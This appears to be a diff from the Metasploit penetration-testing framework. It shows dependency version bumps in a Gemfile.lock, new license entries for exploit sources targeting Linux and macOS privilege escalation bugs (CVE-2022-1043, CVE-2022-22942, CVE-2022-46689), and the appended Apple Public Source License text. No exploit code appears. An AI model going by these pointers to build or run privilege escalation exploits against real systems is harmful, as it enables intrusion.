aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.117.2)
|
||||
aws-sdk-s3 (1.119.1)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
@@ -150,12 +151,13 @@ GEM
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.14)
|
||||
bindata (2.4.15)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.1.10)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
@@ -184,13 +186,13 @@ GEM
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (3.1.0)
|
||||
faker (3.1.1)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.2)
|
||||
faraday (2.7.4)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.0.0)
|
||||
faraday-retry (2.1.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
eventmachine (>= 0.12.0)
|
||||
@@ -215,7 +217,7 @@ GEM
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
irb (1.6.2)
|
||||
irb (1.6.3)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
@@ -230,12 +232,12 @@ GEM
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.1)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.0)
|
||||
metasploit-concern (5.0.1)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.1)
|
||||
metasploit-credential (6.0.2)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -245,12 +247,12 @@ GEM
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (5.0.0)
|
||||
metasploit-model (5.0.1)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.108)
|
||||
metasploit_data_models (6.0.1)
|
||||
metasploit-payloads (2.0.122)
|
||||
metasploit_data_models (6.0.2)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
@@ -263,9 +265,9 @@ GEM
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.1)
|
||||
minitest (5.17.0)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.6.0)
|
||||
minitest (5.18.0)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
@@ -279,7 +281,7 @@ GEM
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.13.10)
|
||||
nokogiri (1.14.2)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
@@ -292,7 +294,7 @@ GEM
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.2.0.0)
|
||||
parser (3.2.1.1)
|
||||
ast (~> 2.4.1)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
@@ -302,7 +304,7 @@ GEM
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.5)
|
||||
pg (1.4.6)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -310,10 +312,10 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.1)
|
||||
puma (6.0.2)
|
||||
puma (6.1.1)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.2)
|
||||
rack (2.2.5)
|
||||
rack (2.2.6.3)
|
||||
rack-protection (3.0.5)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
@@ -321,24 +323,24 @@ GEM
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.4.4)
|
||||
rails-html-sanitizer (1.5.0)
|
||||
loofah (~> 2.19, >= 2.19.1)
|
||||
railties (7.0.4.1)
|
||||
actionpack (= 7.0.4.1)
|
||||
activesupport (= 7.0.4.1)
|
||||
railties (7.0.4.2)
|
||||
actionpack (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rasn1 (0.12.0)
|
||||
rasn1 (0.12.1)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.0.3)
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.6.1)
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.7.0)
|
||||
reline (0.3.2)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
@@ -349,12 +351,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.29)
|
||||
rex-core (0.1.30)
|
||||
rex-encoder (0.1.6)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.36)
|
||||
rex-exploitation (0.1.38)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -372,21 +374,21 @@ GEM
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.9)
|
||||
rex-random_identifier (0.1.10)
|
||||
rex-text
|
||||
rex-registry (0.1.4)
|
||||
rex-rop_builder (0.1.4)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.45)
|
||||
rex-socket (0.1.47)
|
||||
rex-core
|
||||
rex-sslscan (0.1.8)
|
||||
rex-sslscan (0.1.9)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
rex-text (0.2.47)
|
||||
rex-text (0.2.50)
|
||||
rex-zip (0.1.4)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
@@ -395,12 +397,12 @@ GEM
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.0)
|
||||
rspec-core (3.12.1)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.2)
|
||||
rspec-mocks (3.12.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.1)
|
||||
@@ -414,24 +416,24 @@ GEM
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.0)
|
||||
rubocop (1.42.0)
|
||||
rubocop (1.48.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.2.1)
|
||||
parser (>= 3.2.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.24.1, < 2.0)
|
||||
rubocop-ast (>= 1.26.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.24.1)
|
||||
parser (>= 3.1.1.0)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.27.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.3)
|
||||
ruby_smb (3.2.5)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -453,7 +455,7 @@ GEM
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.5)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.5.4)
|
||||
sqlite3 (1.6.1)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
strptime (0.2.5)
|
||||
@@ -463,11 +465,11 @@ GEM
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.11)
|
||||
tilt (2.1.0)
|
||||
timecop (0.9.6)
|
||||
timeout (0.3.1)
|
||||
timeout (0.3.2)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.5)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo (>= 1.0.0)
|
||||
@@ -500,7 +502,7 @@ GEM
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.6)
|
||||
zeitwerk (2.6.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
@@ -57,6 +57,20 @@ Copyright: 2018
|
||||
License: GNU GPL 3
|
||||
Purpose: This supports exploits/windows/local/ms18_8120_win32k_privesc module
|
||||
|
||||
Files: external/source/exploits/CVE-2022-1043/cve-2022-1043.c
|
||||
Copyright: 2022 Open Source Security, Inc.
|
||||
License: GNU GPL 2.0
|
||||
Purpose: This source file is necessary for users to create a stand-alone executable
|
||||
to exploit CVE-2022-1043, a local privilege escalation vulnerability in
|
||||
Linux kernels 5.12-rc3 - 5.14-rc7.
|
||||
|
||||
Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
|
||||
Copyright: 2022 Open Source Security, Inc.
|
||||
License: GNU GPL 2.0
|
||||
Purpose: This source file is necessary for users to create a stand-alone executable
|
||||
to exploit CVE-2022-22942, a local privilege escalation vulnerability in
|
||||
Linux kernels 4.14-rc1 - 5.17-rc1.
|
||||
|
||||
Files: exteneral/source/exploits/CVE-2022-26904/*
|
||||
Copyright: 2022 Abdelhamid Naceri
|
||||
License: MIT
|
||||
@@ -121,6 +135,13 @@ Purpose: The built result is used in:
|
||||
payloads/stages/windows/vncinject.rb
|
||||
payloads/stages/windows/x64/vncinject.rb
|
||||
|
||||
Files: external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c
|
||||
Copyright: 1999-2007 Apple Inc.
|
||||
License: Apple
|
||||
Purpose: This source file is necessary for users to create a stand-alone executable
|
||||
to exploit CVE-2022-46689, a local privilege escalation vulnerability in
|
||||
MacOSX versions (macOS dirty cow)
|
||||
|
||||
Files: lib/anemone.rb
|
||||
lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
@@ -998,3 +1019,372 @@ License: Zlib
|
||||
2. Altered source versions must be plainly marked as such, and must not be
|
||||
misrepresented as being the original software.
|
||||
3. This notice may not be removed or altered from any source distribution.
|
||||
|
||||
License: Apple
|
||||
APPLE PUBLIC SOURCE LICENSE
|
||||
Version 2.0 - August 6, 2003
|
||||
|
||||
Please read this License carefully before downloading this software.
|
||||
By downloading or using this software, you are agreeing to be bound by
|
||||
the terms of this License. If you do not or cannot agree to the terms
|
||||
of this License, please do not download or use the software.
|
||||
|
||||
1. General; Definitions. This License applies to any program or other
|
||||
work which Apple Computer, Inc. ("Apple") makes publicly available and
|
||||
which contains a notice placed by Apple identifying such program or
|
||||
work as "Original Code" and stating that it is subject to the terms of
|
||||
this Apple Public Source License version 2.0 ("License"). As used in
|
||||
this License:
|
||||
|
||||
1.1 "Applicable Patent Rights" mean: (a) in the case where Apple is
|
||||
the grantor of rights, (i) claims of patents that are now or hereafter
|
||||
acquired, owned by or assigned to Apple and (ii) that cover subject
|
||||
matter contained in the Original Code, but only to the extent
|
||||
necessary to use, reproduce and/or distribute the Original Code
|
||||
without infringement; and (b) in the case where You are the grantor of
|
||||
rights, (i) claims of patents that are now or hereafter acquired,
|
||||
owned by or assigned to You and (ii) that cover subject matter in Your
|
||||
Modifications, taken alone or in combination with Original Code.
|
||||
|
||||
1.2 "Contributor" means any person or entity that creates or
|
||||
contributes to the creation of Modifications.
|
||||
|
||||
1.3 "Covered Code" means the Original Code, Modifications, the
|
||||
combination of Original Code and any Modifications, and/or any
|
||||
respective portions thereof.
|
||||
|
||||
1.4 "Externally Deploy" means: (a) to sublicense, distribute or
|
||||
otherwise make Covered Code available, directly or indirectly, to
|
||||
anyone other than You; and/or (b) to use Covered Code, alone or as
|
||||
part of a Larger Work, in any way to provide a service, including but
|
||||
not limited to delivery of content, through electronic communication
|
||||
with a client other than You.
|
||||
|
||||
1.5 "Larger Work" means a work which combines Covered Code or portions
|
||||
thereof with code not governed by the terms of this License.
|
||||
|
||||
1.6 "Modifications" mean any addition to, deletion from, and/or change
|
||||
to, the substance and/or structure of the Original Code, any previous
|
||||
Modifications, the combination of Original Code and any previous
|
||||
Modifications, and/or any respective portions thereof. When code is
|
||||
released as a series of files, a Modification is: (a) any addition to
|
||||
or deletion from the contents of a file containing Covered Code;
|
||||
and/or (b) any new file or other representation of computer program
|
||||
statements that contains any part of Covered Code.
|
||||
|
||||
1.7 "Original Code" means (a) the Source Code of a program or other
|
||||
work as originally made available by Apple under this License,
|
||||
including the Source Code of any updates or upgrades to such programs
|
||||
or works made available by Apple under this License, and that has been
|
||||
expressly identified by Apple as such in the header file(s) of such
|
||||
work; and (b) the object code compiled from such Source Code and
|
||||
originally made available by Apple under this License.
|
||||
|
||||
1.8 "Source Code" means the human readable form of a program or other
|
||||
work that is suitable for making modifications to it, including all
|
||||
modules it contains, plus any associated interface definition files,
|
||||
scripts used to control compilation and installation of an executable
|
||||
(object code).
|
||||
|
||||
1.9 "You" or "Your" means an individual or a legal entity exercising
|
||||
rights under this License. For legal entities, "You" or "Your"
|
||||
includes any entity which controls, is controlled by, or is under
|
||||
common control with, You, where "control" means (a) the power, direct
|
||||
or indirect, to cause the direction or management of such entity,
|
||||
whether by contract or otherwise, or (b) ownership of fifty percent
|
||||
(50%) or more of the outstanding shares or beneficial ownership of
|
||||
such entity.
|
||||
|
||||
2. Permitted Uses; Conditions & Restrictions. Subject to the terms
|
||||
and conditions of this License, Apple hereby grants You, effective on
|
||||
the date You accept this License and download the Original Code, a
|
||||
world-wide, royalty-free, non-exclusive license, to the extent of
|
||||
Apple's Applicable Patent Rights and copyrights covering the Original
|
||||
Code, to do the following:
|
||||
|
||||
2.1 Unmodified Code. You may use, reproduce, display, perform,
|
||||
internally distribute within Your organization, and Externally Deploy
|
||||
verbatim, unmodified copies of the Original Code, for commercial or
|
||||
non-commercial purposes, provided that in each instance:
|
||||
|
||||
(a) You must retain and reproduce in all copies of Original Code the
|
||||
copyright and other proprietary notices and disclaimers of Apple as
|
||||
they appear in the Original Code, and keep intact all notices in the
|
||||
Original Code that refer to this License; and
|
||||
|
||||
(b) You must include a copy of this License with every copy of Source
|
||||
Code of Covered Code and documentation You distribute or Externally
|
||||
Deploy, and You may not offer or impose any terms on such Source Code
|
||||
that alter or restrict this License or the recipients' rights
|
||||
hereunder, except as permitted under Section 6.
|
||||
|
||||
2.2 Modified Code. You may modify Covered Code and use, reproduce,
|
||||
display, perform, internally distribute within Your organization, and
|
||||
Externally Deploy Your Modifications and Covered Code, for commercial
|
||||
or non-commercial purposes, provided that in each instance You also
|
||||
meet all of these conditions:
|
||||
|
||||
(a) You must satisfy all the conditions of Section 2.1 with respect to
|
||||
the Source Code of the Covered Code;
|
||||
|
||||
(b) You must duplicate, to the extent it does not already exist, the
|
||||
notice in Exhibit A in each file of the Source Code of all Your
|
||||
Modifications, and cause the modified files to carry prominent notices
|
||||
stating that You changed the files and the date of any change; and
|
||||
|
||||
(c) If You Externally Deploy Your Modifications, You must make
|
||||
Source Code of all Your Externally Deployed Modifications either
|
||||
available to those to whom You have Externally Deployed Your
|
||||
Modifications, or publicly available. Source Code of Your Externally
|
||||
Deployed Modifications must be released under the terms set forth in
|
||||
this License, including the license grants set forth in Section 3
|
||||
below, for as long as you Externally Deploy the Covered Code or twelve
|
||||
(12) months from the date of initial External Deployment, whichever is
|
||||
longer. You should preferably distribute the Source Code of Your
|
||||
Externally Deployed Modifications electronically (e.g. download from a
|
||||
web site).
|
||||
|
||||
2.3 Distribution of Executable Versions. In addition, if You
|
||||
Externally Deploy Covered Code (Original Code and/or Modifications) in
|
||||
object code, executable form only, You must include a prominent
|
||||
notice, in the code itself as well as in related documentation,
|
||||
stating that Source Code of the Covered Code is available under the
|
||||
terms of this License with information on how and where to obtain such
|
||||
Source Code.
|
||||
|
||||
2.4 Third Party Rights. You expressly acknowledge and agree that
|
||||
although Apple and each Contributor grants the licenses to their
|
||||
respective portions of the Covered Code set forth herein, no
|
||||
assurances are provided by Apple or any Contributor that the Covered
|
||||
Code does not infringe the patent or other intellectual property
|
||||
rights of any other entity. Apple and each Contributor disclaim any
|
||||
liability to You for claims brought by any other entity based on
|
||||
infringement of intellectual property rights or otherwise. As a
|
||||
condition to exercising the rights and licenses granted hereunder, You
|
||||
hereby assume sole responsibility to secure any other intellectual
|
||||
property rights needed, if any. For example, if a third party patent
|
||||
license is required to allow You to distribute the Covered Code, it is
|
||||
Your responsibility to acquire that license before distributing the
|
||||
Covered Code.
|
||||
|
||||
3. Your Grants. In consideration of, and as a condition to, the
|
||||
licenses granted to You under this License, You hereby grant to any
|
||||
person or entity receiving or distributing Covered Code under this
|
||||
License a non-exclusive, royalty-free, perpetual, irrevocable license,
|
||||
under Your Applicable Patent Rights and other intellectual property
|
||||
rights (other than patent) owned or controlled by You, to use,
|
||||
reproduce, display, perform, modify, sublicense, distribute and
|
||||
Externally Deploy Your Modifications of the same scope and extent as
|
||||
Apple's licenses under Sections 2.1 and 2.2 above.
|
||||
|
||||
4. Larger Works. You may create a Larger Work by combining Covered
|
||||
Code with other code not governed by the terms of this License and
|
||||
distribute the Larger Work as a single product. In each such instance,
|
||||
You must make sure the requirements of this License are fulfilled for
|
||||
the Covered Code or any portion thereof.
|
||||
|
||||
5. Limitations on Patent License. Except as expressly stated in
|
||||
Section 2, no other patent rights, express or implied, are granted by
|
||||
Apple herein. Modifications and/or Larger Works may require additional
|
||||
patent licenses from Apple which Apple may grant in its sole
|
||||
discretion.
|
||||
|
||||
6. Additional Terms. You may choose to offer, and to charge a fee for,
|
||||
warranty, support, indemnity or liability obligations and/or other
|
||||
rights consistent with the scope of the license granted herein
|
||||
("Additional Terms") to one or more recipients of Covered Code.
|
||||
However, You may do so only on Your own behalf and as Your sole
|
||||
responsibility, and not on behalf of Apple or any Contributor. You
|
||||
must obtain the recipient's agreement that any such Additional Terms
|
||||
are offered by You alone, and You hereby agree to indemnify, defend
|
||||
and hold Apple and every Contributor harmless for any liability
|
||||
incurred by or claims asserted against Apple or such Contributor by
|
||||
reason of any such Additional Terms.
|
||||
|
||||
7. Versions of the License. Apple may publish revised and/or new
|
||||
versions of this License from time to time. Each version will be given
|
||||
a distinguishing version number. Once Original Code has been published
|
||||
under a particular version of this License, You may continue to use it
|
||||
under the terms of that version. You may also choose to use such
|
||||
Original Code under the terms of any subsequent version of this
|
||||
License published by Apple. No one other than Apple has the right to
|
||||
modify the terms applicable to Covered Code created under this
|
||||
License.
|
||||
|
||||
8. NO WARRANTY OR SUPPORT. The Covered Code may contain in whole or in
|
||||
part pre-release, untested, or not fully tested works. The Covered
|
||||
Code may contain errors that could cause failures or loss of data, and
|
||||
may be incomplete or contain inaccuracies. You expressly acknowledge
|
||||
and agree that use of the Covered Code, or any portion thereof, is at
|
||||
Your sole and entire risk. THE COVERED CODE IS PROVIDED "AS IS" AND
|
||||
WITHOUT WARRANTY, UPGRADES OR SUPPORT OF ANY KIND AND APPLE AND
|
||||
APPLE'S LICENSOR(S) (COLLECTIVELY REFERRED TO AS "APPLE" FOR THE
|
||||
PURPOSES OF SECTIONS 8 AND 9) AND ALL CONTRIBUTORS EXPRESSLY DISCLAIM
|
||||
ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT
|
||||
NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF
|
||||
MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR
|
||||
PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD
|
||||
PARTY RIGHTS. APPLE AND EACH CONTRIBUTOR DOES NOT WARRANT AGAINST
|
||||
INTERFERENCE WITH YOUR ENJOYMENT OF THE COVERED CODE, THAT THE
|
||||
FUNCTIONS CONTAINED IN THE COVERED CODE WILL MEET YOUR REQUIREMENTS,
|
||||
THAT THE OPERATION OF THE COVERED CODE WILL BE UNINTERRUPTED OR
|
||||
ERROR-FREE, OR THAT DEFECTS IN THE COVERED CODE WILL BE CORRECTED. NO
|
||||
ORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY APPLE, AN APPLE
|
||||
AUTHORIZED REPRESENTATIVE OR ANY CONTRIBUTOR SHALL CREATE A WARRANTY.
|
||||
You acknowledge that the Covered Code is not intended for use in the
|
||||
operation of nuclear facilities, aircraft navigation, communication
|
||||
systems, or air traffic control machines in which case the failure of
|
||||
the Covered Code could lead to death, personal injury, or severe
|
||||
physical or environmental damage.
|
||||
|
||||
9. LIMITATION OF LIABILITY. TO THE EXTENT NOT PROHIBITED BY LAW, IN NO
|
||||
EVENT SHALL APPLE OR ANY CONTRIBUTOR BE LIABLE FOR ANY INCIDENTAL,
|
||||
SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING
|
||||
TO THIS LICENSE OR YOUR USE OR INABILITY TO USE THE COVERED CODE, OR
|
||||
ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY,
|
||||
TORT (INCLUDING NEGLIGENCE), PRODUCTS LIABILITY OR OTHERWISE, EVEN IF
|
||||
APPLE OR SUCH CONTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY
|
||||
REMEDY. SOME JURISDICTIONS DO NOT ALLOW THE LIMITATION OF LIABILITY OF
|
||||
INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION MAY NOT APPLY
|
||||
TO YOU. In no event shall Apple's total liability to You for all
|
||||
damages (other than as may be required by applicable law) under this
|
||||
License exceed the amount of fifty dollars ($50.00).
|
||||
|
||||
10. Trademarks. This License does not grant any rights to use the
|
||||
trademarks or trade names "Apple", "Apple Computer", "Mac", "Mac OS",
|
||||
"QuickTime", "QuickTime Streaming Server" or any other trademarks,
|
||||
service marks, logos or trade names belonging to Apple (collectively
|
||||
"Apple Marks") or to any trademark, service mark, logo or trade name
|
||||
belonging to any Contributor. You agree not to use any Apple Marks in
|
||||
or as part of the name of products derived from the Original Code or
|
||||
to endorse or promote products derived from the Original Code other
|
||||
than as expressly permitted by and in strict compliance at all times
|
||||
with Apple's third party trademark usage guidelines which are posted
|
||||
at http://www.apple.com/legal/guidelinesfor3rdparties.html.
|
||||
|
||||
11. Ownership. Subject to the licenses granted under this License,
|
||||
each Contributor retains all rights, title and interest in and to any
|
||||
Modifications made by such Contributor. Apple retains all rights,
|
||||
title and interest in and to the Original Code and any Modifications
|
||||
made by or on behalf of Apple ("Apple Modifications"), and such Apple
|
||||
Modifications will not be automatically subject to this License. Apple
|
||||
may, at its sole discretion, choose to license such Apple
|
||||
Modifications under this License, or on different terms from those
|
||||
contained in this License or may choose not to license them at all.
|
||||
|
||||
12. Termination.
|
||||
|
||||
12.1 Termination. This License and the rights granted hereunder will
|
||||
terminate:
|
||||
|
||||
(a) automatically without notice from Apple if You fail to comply with
|
||||
any term(s) of this License and fail to cure such breach within 30
|
||||
days of becoming aware of such breach;
|
||||
|
||||
(b) immediately in the event of the circumstances described in Section
|
||||
13.5(b); or
|
||||
|
||||
(c) automatically without notice from Apple if You, at any time during
|
||||
the term of this License, commence an action for patent infringement
|
||||
against Apple; provided that Apple did not first commence
|
||||
an action for patent infringement against You in that instance.
|
||||
|
||||
12.2 Effect of Termination. Upon termination, You agree to immediately
|
||||
stop any further use, reproduction, modification, sublicensing and
|
||||
distribution of the Covered Code. All sublicenses to the Covered Code
|
||||
which have been properly granted prior to termination shall survive
|
||||
any termination of this License. Provisions which, by their nature,
|
||||
should remain in effect beyond the termination of this License shall
|
||||
survive, including but not limited to Sections 3, 5, 8, 9, 10, 11,
|
||||
12.2 and 13. No party will be liable to any other for compensation,
|
||||
indemnity or damages of any sort solely as a result of terminating
|
||||
this License in accordance with its terms, and termination of this
|
||||
License will be without prejudice to any other right or remedy of
|
||||
any party.
|
||||
|
||||
13. Miscellaneous.
|
||||
|
||||
13.1 Government End Users. The Covered Code is a "commercial item" as
|
||||
defined in FAR 2.101. Government software and technical data rights in
|
||||
the Covered Code include only those rights customarily provided to the
|
||||
public as defined in this License. This customary commercial license
|
||||
in technical data and software is provided in accordance with FAR
|
||||
12.211 (Technical Data) and 12.212 (Computer Software) and, for
|
||||
Department of Defense purchases, DFAR 252.227-7015 (Technical Data --
|
||||
Commercial Items) and 227.7202-3 (Rights in Commercial Computer
|
||||
Software or Computer Software Documentation). Accordingly, all U.S.
|
||||
Government End Users acquire Covered Code with only those rights set
|
||||
forth herein.
|
||||
|
||||
13.2 Relationship of Parties. This License will not be construed as
|
||||
creating an agency, partnership, joint venture or any other form of
|
||||
legal association between or among You, Apple or any Contributor, and
|
||||
You will not represent to the contrary, whether expressly, by
|
||||
implication, appearance or otherwise.
|
||||
|
||||
13.3 Independent Development. Nothing in this License will impair
|
||||
Apple's right to acquire, license, develop, have others develop for
|
||||
it, market and/or distribute technology or products that perform the
|
||||
same or similar functions as, or otherwise compete with,
|
||||
Modifications, Larger Works, technology or products that You may
|
||||
develop, produce, market or distribute.
|
||||
|
||||
13.4 Waiver; Construction. Failure by Apple or any Contributor to
|
||||
enforce any provision of this License will not be deemed a waiver of
|
||||
future enforcement of that or any other provision. Any law or
|
||||
regulation which provides that the language of a contract shall be
|
||||
construed against the drafter will not apply to this License.
|
||||
|
||||
13.5 Severability. (a) If for any reason a court of competent
|
||||
jurisdiction finds any provision of this License, or portion thereof,
|
||||
to be unenforceable, that provision of the License will be enforced to
|
||||
the maximum extent permissible so as to effect the economic benefits
|
||||
and intent of the parties, and the remainder of this License will
|
||||
continue in full force and effect. (b) Notwithstanding the foregoing,
|
||||
if applicable law prohibits or restricts You from fully and/or
|
||||
specifically complying with Sections 2 and/or 3 or prevents the
|
||||
enforceability of either of those Sections, this License will
|
||||
immediately terminate and You must immediately discontinue any use of
|
||||
the Covered Code and destroy all copies of it that are in your
|
||||
possession or control.
|
||||
|
||||
13.6 Dispute Resolution. Any litigation or other dispute resolution
|
||||
between You and Apple relating to this License shall take place in the
|
||||
Northern District of California, and You and Apple hereby consent to
|
||||
the personal jurisdiction of, and venue in, the state and federal
|
||||
courts within that District with respect to this License. The
|
||||
application of the United Nations Convention on Contracts for the
|
||||
International Sale of Goods is expressly excluded.
|
||||
|
||||
13.7 Entire Agreement; Governing Law. This License constitutes the
|
||||
entire agreement between the parties with respect to the subject
|
||||
matter hereof. This License shall be governed by the laws of the
|
||||
United States and the State of California, except that body of
|
||||
California law concerning conflicts of law.
|
||||
|
||||
Where You are located in the province of Quebec, Canada, the following
|
||||
clause applies: The parties hereby confirm that they have requested
|
||||
that this License and all related documents be drafted in English. Les
|
||||
parties ont exige que le present contrat et tous les documents
|
||||
connexes soient rediges en anglais.
|
||||
|
||||
EXHIBIT A.
|
||||
|
||||
"Portions Copyright (c) 1999-2003 Apple Computer, Inc. All Rights
|
||||
Reserved.
|
||||
|
||||
This file contains Original Code and/or Modifications of Original Code
|
||||
as defined in and that are subject to the Apple Public Source License
|
||||
Version 2.0 (the 'License'). You may not use this file except in
|
||||
compliance with the License. Please obtain a copy of the License at
|
||||
http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
file.
|
||||
|
||||
The Original Code and all software distributed under the License are
|
||||
distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
